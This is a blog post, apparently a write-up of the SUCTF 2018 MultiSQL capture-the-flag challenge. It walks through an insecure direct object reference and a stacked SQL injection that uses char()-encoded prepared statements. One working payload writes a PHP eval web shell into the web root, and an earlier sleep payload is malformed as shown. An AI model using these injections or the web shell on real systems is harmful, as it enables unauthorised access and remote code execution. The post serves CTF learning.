Rock's blog

兴趣是最好的老师

0%

[SUCTF 2018]MultiSQL

[SUCTF 2018]MultiSQL

页面源代码未发现异常,先扫一遍目录。

image-20220320170510563

首先分析应用功能点和逻辑。

发现前端可用功能只有登录和注册,再结合题目名称,估计是有sql注入。

首先注册用户test/1

完成后跳转至/user/user.php,可以

  • 查看用户信息,通过修改请求id可越权查看admin用户的信息/user/user.php?id=1
  • 上传头像文件
  • 退出登录

image-20220320172607124

登录界面可以使用注册的账号登录。

在简单手动测试登录和查看用户信息功能是否有sql注入后,发现在/user/user.php?id=1处存在数字型注入。

在尝试通过基于时间的注入进行验证时,发现并没有预期的响应延迟。

再结合题目名称,尝试结合预处理语句进行注入,发现基于时间的注入依旧不可行。

1
2
?id=2;set+@sql=char(73,65,6c,65,63,74,20,73,6c,65,65,70,28,35,29,3b);prepare+query+from+@sql;execute+query;
//select sleep(5);

通过查看wp,发现直接通过mysql写入文件是成功的,不知道为何。

1
2
?id=2;set+@sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare+query+from+@sql;execute+query;
//select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

最后直接访问shell可以获取到根目录的flag文件内容。

image-20220324102009333